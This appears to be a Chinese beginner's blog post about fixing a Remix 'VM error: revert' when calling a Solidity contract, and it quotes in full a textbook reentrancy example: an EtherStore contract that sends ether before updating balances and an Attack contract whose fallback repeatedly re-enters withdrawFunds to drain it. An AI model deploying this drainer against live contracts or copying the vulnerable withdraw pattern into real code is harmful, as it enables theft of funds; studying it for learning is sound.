记一次solidity异常报错

     初学者,solidity智能合约开发,在remix上向合约转账,报错信息如下:

transact to Attack.pwnEtherStore errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The constructor should be payable if you send value. Debug the transaction to get more information.

代码如下:代码为网上例子,调用pwnEtherStore()报以上错误,百度无果,后来仔细查找资料,发现要在remix设置value的值(要大于等于转账的以太币),,设置后运行正常:

// Attack合约代码
pragma solidity >=0.4.22 <0.6.0;
import "browser/EtherStore.sol";
contract Attack {
     EtherStore public etherStore;

      // intialise the etherStore variable with the contract address
     constructor(address _etherStoreAddress) public payable{
         etherStore = EtherStore(_etherStoreAddress);
     }
    
      function pwnEtherStore() public payable {
          // attack to the nearest ether
         require(msg.value >= 1 ether); 
         // send eth to the depositFunds() function
         etherStore.depositFunds.value(1 ether)();
          // start the magic
         etherStore.withdrawFunds(1 ether);
     }
    
      function collectEther() public {
         msg.sender.transfer(this.balance);
      } 

    //fallback function - where the magic happens
     function () payable {
          if (etherStore.balance > 1 ether) {
             etherStore.withdrawFunds(1 ether);
         }
     }
    // get ether from etherStore
    function getEther() returns (uint256){
        return etherStore.getEtherByAddress();
    }
    
    function getBalance() public view returns(uint) {
        return this.balance;
    }
    
    function getRandomBalance(address addr) view returns(uint) {
        return addr.balance;
    }
}
// EtherStore合约代码
pragma solidity >=0.4.22 <0.6.0;
contract EtherStore {
    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() payable{
        balances[msg.sender] += msg.value;
    }
    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // 限制withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw 
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        msg.sender.call.value(_weiToWithdraw)();
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
    
    function getEtherByAddress() public view returns (uint256){
        return balances[msg.sender];
    }
    function() public payable {
        
    }
    function storeEtherByCustomer() public payable {
        
    }
}

          虽然很简单的错误,但是报错信息显示不是很准确苦恼了挺长时间,特此记录下来

  • 5
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值